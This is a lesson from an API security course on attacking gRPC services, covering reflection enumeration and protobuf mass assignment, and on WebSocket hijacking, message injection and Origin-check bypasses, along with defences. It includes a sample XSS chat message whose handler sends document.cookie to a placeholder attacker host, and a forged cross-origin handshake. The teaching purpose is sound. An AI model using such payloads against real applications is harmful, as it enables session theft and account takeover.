gRPC & WebSocket Attacks
Advanced API Exploitation · API Security track
7 min read
In this module
Beyond REST and GraphQL
REST and GraphQL dominate public-facing APIs, but internal service communication leans on gRPC for performance, and real-time features lean on WebSockets for persistent connections. Both technologies introduce attack vectors that traditional web security tools weren't designed to handle.
gRPC: Binary Protocol Exploitation
gRPC uses Protocol Buffers (protobuf) serialised over HTTP/2. The compact binary format and strong typing make it efficient for service-to-service communication. Those same properties carve out security blind spots.
The Reflection Service
gRPC's reflection service is the equivalent of GraphQL introspection. It lets a client discover every available service, method, and message type at runtime. Leave it enabled and you've handed an attacker a complete map of the API.
# Use grpcurl to list services via reflectiongrpcurl -plaintext target.example.com:50051 list
# Output:# grpc.reflection.v1alpha.ServerReflection# com.example.UserService# com.example.AdminService# com.example.InternalPaymentService
# Describe a specific servicegrpcurl -plaintext target.example.com:50051 describe com.example.UserServiceSpotting AdminService and InternalPaymentService immediately flags high-value targets. The describe command returns the full message schema: field names, types, nested structures, all of it.
The gRPC reflection service allows runtime discovery of every service, method, and message type. It's the protocol's equivalent of GraphQL introspection and should be disabled in production environments.
Binary Format and WAF Evasion
Traditional Web Application Firewalls parse HTTP request bodies looking for SQL injection, XSS, and other attack patterns in text. gRPC payloads are serialised in protobuf's binary format, which makes them opaque to standard WAF inspection.
# Call a gRPC method with a protobuf-encoded payloadgrpcurl -plaintext -d '{"user_id": "1842"}' \ target.example.com:50051 \ com.example.UserService/GetUserA WAF that can't decode protobuf will wave this request through without inspection, even when the user_id field carries an injection payload. Security tools have to be protobuf-aware to offer meaningful protection.
Protobuf Deserialization Issues
Protocol Buffers handle unknown fields gracefully by design. A message can contain field numbers the receiver's schema doesn't define, and the parser skips them (current protobuf versions keep them so they survive re-serialisation). The handler itself never sees those fields, so the real risk is narrower than it sounds. It's about the gap between schemas: the server's .proto may define fields, such as role or is_admin, that the published client schema or UI never sends. Guess or recover the field numbers and you can set them, which is mass assignment by another route. Unknown fields that are preserved and forwarded to a newer downstream service can do the same thing one hop later.
Protobuf's type coercion behaviour can also surprise you. Integer overflow, type confusion between signed and unsigned integers, and default-value handling (zero for numbers, empty for strings) are all exploitable.
Authentication in gRPC
gRPC supports several authentication mechanisms. For service-to-service communication, mutual TLS (mTLS) is the recommended approach. Each service presents a client certificate during the TLS handshake, providing cryptographic proof of identity.
Without mTLS, gRPC services often fall back to metadata headers (the gRPC equivalent of HTTP headers) for authentication tokens. Those are vulnerable to the same attacks as HTTP bearer tokens: theft, replay, forgery.
WebSocket Attacks
WebSockets keep a persistent, bidirectional connection alive after an initial HTTP upgrade handshake. That persistent nature creates unique security challenges.
Cross-Site WebSocket Hijacking (CSWSH)
CSWSH is the WebSocket equivalent of Cross-Site Request Forgery (CSRF). It exploits servers that don't validate the Origin header during the WebSocket handshake.
The sequence below runs the same handshake three ways. In the first, nothing stops it. In the second, the server checks Origin. In the third, the session cookie is SameSite=Lax or Strict, so the browser leaves it off a handshake started by another site.
The attack works because:
- The victim is authenticated to the target application (cookies exist)
- The victim visits a page controlled by the attacker
- The attacker's JavaScript opens a WebSocket to the target server
- The browser automatically attaches the victim's cookies to the handshake
- The server accepts the connection because the cookies are valid
- The attacker's script sends and receives messages as the victim
GET /ws/notifications HTTP/1.1Host: app.example.comUpgrade: websocketConnection: UpgradeOrigin: https://evil.example.netCookie: session=victim_session_tokenIf the session cookie reaches the server (it was set with SameSite=None, or the browser doesn't enforce a Lax default) and the server doesn't validate that the Origin header matches an expected domain, the hijacking succeeds. Note the attacker's domain: evil.example.net is a different site from app.example.com. A page on evil.example.com would count as same-site, so SameSite wouldn't stop it at all, and only the Origin check would.
To prevent Cross-Site WebSocket Hijacking, the server has to validate the Origin header during the handshake and reject connections from unexpected origins. Using a dedicated WebSocket authentication token (rather than leaning on cookies) also stops the browser from automatically attaching credentials.
WebSocket Message Injection
Once a WebSocket connection is up, messages flow without the per-request authentication that HTTP APIs provide. If the server doesn't validate individual messages, an attacker who reaches the connection can inject whatever they like.
Common injection targets in WebSocket messages:
- Command injection: WebSocket messages that trigger server-side actions without input validation
- SQL/NoSQL injection: Messages containing data that is passed to database queries
- Cross-site scripting: Messages that are rendered in other users' browsers without sanitisation
{ "type": "chat_message", "content": "<img src=x onerror=fetch('https://evil.example.com/steal?cookie='+document.cookie)>", "room": "general"}Origin Validation Bypass
Even when servers validate the Origin header, bypasses lurk:
- Null origin: Some requests (from sandboxed iframes, redirects, or local files) send
Origin: null. If the server's allowlist includesnull, the bypass is trivial. - Subdomain matching flaws: A check for
*.example.commight acceptevil-example.comif the matching logic is sloppy. - Missing validation on reconnection: The server validates the origin on initial connection but not when the client reconnects after a disconnect.
WebSocket Rate Limiting
WebSocket traffic slips past HTTP-layer rate limiters because messages flow over the persistent connection without generating new HTTP requests. Protection means implementing per-message rate limiting inside the WebSocket handler itself.
# Pseudocode for per-message rate limitingclass WebSocketHandler: def on_message(self, message): if self.rate_limiter.is_exceeded(self.user_id): self.send_error("Rate limit exceeded") return self.process_message(message)Testing Approach
For gRPC targets, start with grpcurl to check for reflection, enumerate services, and send test requests. The Burp Suite extension gRPC-Pentest decodes protobuf payloads for inspection and modification.
For WebSocket targets, use Burp Suite's WebSocket history and message editor to inspect and modify messages. Test CSWSH by spinning up a simple HTML page that opens a WebSocket to the target, then watch whether the connection is accepted from a different origin.
Both technologies need specialised tooling because they operate outside the standard HTTP request-response model that most security tools assume. The next lesson examines how API gateways and microservice architectures introduce their own class of exploitation opportunities.